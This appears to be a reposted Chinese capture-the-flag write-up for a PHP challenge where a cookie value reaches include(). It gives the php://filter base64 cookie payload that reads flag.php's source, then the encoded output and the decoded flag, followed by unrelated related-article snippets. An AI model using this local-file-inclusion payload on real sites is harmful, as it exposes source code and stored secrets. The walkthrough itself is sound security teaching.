fileinclude(通过cookie赋值的文件包含)

news/2024/5/18 12:01:46 标签: PHP伪协议, 文件包含, web, cookie, 代码审计

打开链接,提示flag在flag.php里

 内容里还有一个路径/var/www/html/index.php,猜测flag.php应该也是在这个路径下

Ctrl+u查看网页源码

代码中发现 @include($lan.".php"); 

可知这里存在文件包

且包含与lan的值有关

由代码 $lan = $_COOKIE['language'];

可知lan的值是从cookie的值传上去的

所以这里我们对language赋值

if(!$lan)
{
    @setcookie("language","english");
    @include("english.php");
}

如果lan的值为0,则会设置一个新的cookie,这并不是我们想要的,我们要使传入的lan不为0,即cookie的赋值不能为空。

else
{
    @include($lan.".php");
}

cookie不为空时,lan的值会和".php"拼起来

我们使用php://filter伪协议来读取flag.php的源码并进行base64编码输出

当它与包含函数结合时,php://filter流会被当作php文件执行

这里要注意我们指定的文件应该是flag而不是flag.php

(因为前面说了当cookie不为空时这个lan值会去和".php"进行拼接)

所以我们这里只需在cookie传入language=php://filter/read=convert.base64-encode/resource=flag

或者使用绝对路径

language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

读取到

PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezg5ZjcwNGMzNWIxMzNjODI1NDliMzAyYTFjMzM1Mjk5fSI7DQo/Pg==  

将输出进行base64解码

或者直接在hackbar进行base64decode

 得到

$flag="cyberpeace{89f704c35b133c82549b302a1c335299}

 


http://www.niftyadmin.cn/n/230122.html

相关文章

大数据周会-本周学习内容总结010

开会时间:2023.04.16 19:00 线下会议 目录 01【scala】 02【zookeeper】 03【spark】 04【专利】 会议记录 01【scala】 尚硅谷大数据技术Scala教程-笔记01【Scala课程简介、Scala入门、变量和数据类型、运算符、流程控制】 尚硅谷大数据技术Scala教程-笔记02【…

使用Docker搭建MySQL读写分离集群

MySQL 主从同步集群搭建 使用docker方式创建,主从服务器IP一致,端口号不同 docker服务名分别为: yuluo-mysql-master port: 3306yuluo-mysql-slave1 port: 3307yuluo-mysql-slave2 port:3308 确保关闭服务器防火墙 centos: sys…

一篇五分生信临床模型预测文章代码复现——Figure 10.机制及肿瘤免疫浸润(一)

之前讲过临床模型预测的专栏,但那只是基础版本,下面我们以自噬相关基因为例子,模仿一篇五分文章,将图和代码复现出来,学会本专栏课程,可以具备发一篇五分左右文章的水平: 本专栏目录如下: Figure 1:差异表达基因及预后基因筛选(图片仅供参考) Figure 2. 生存分析,…

【20230415】【算法刷题指南】

算法刷题指南 1、常用数据结构-数组、链表 单链表翻转、前缀和数组、二分搜索等. 2、学会算法基础后,先刷二叉树,再刷回溯算法,动态规划. public void tranverse(TreeNode root){ // 前序位置 tranverse(root.left);// 中序位置 tranverse(root.right);//后续位置 }

select、poll、epoll(IO多路复用)

功能 三个模型都是用来判断是否有被监听的socket状态发生改变(读写和异常) select 首先介绍一下fd_set这个数组,这其实是一个类图,其中每一位表示一个socketfd,哪一位是1表示这一位对应的socket就是被监听的&#x…

DS-NeRF代码

打开debug: 一.加载数据 llff: 加载稀疏点云以及深度信息: if args.colmap_depth:depth_gts load_colmap_depth(args.datadir, factorargs.factor, bd_factor.75)load_colmap_depth(): 这个函数主要读取了两个类型的变量: 记录了 images…

网络时间同步服务器(NTP)助力医院智能系统建设

网络时间同步服务器(NTP)助力医院智能系统建设 网络时间同步服务器(NTP)助力医院智能系统建设 医院时钟系统主要为全医院提供提供统一的准确时间,其主要作用是为整个医院的计算机系统及呼叫系统、BA系统、手术室控制系…

第04讲:Linux常用命令

一、常用命令 1.1、常用 1.1.1、查看指定目录的文件信息 命令(文件名):ls 文件路径 命令(文件详情):ll 文件路径 1.1.2、切换目录 命令:cd 文件目录 1.1.3、中止命令 命令:c…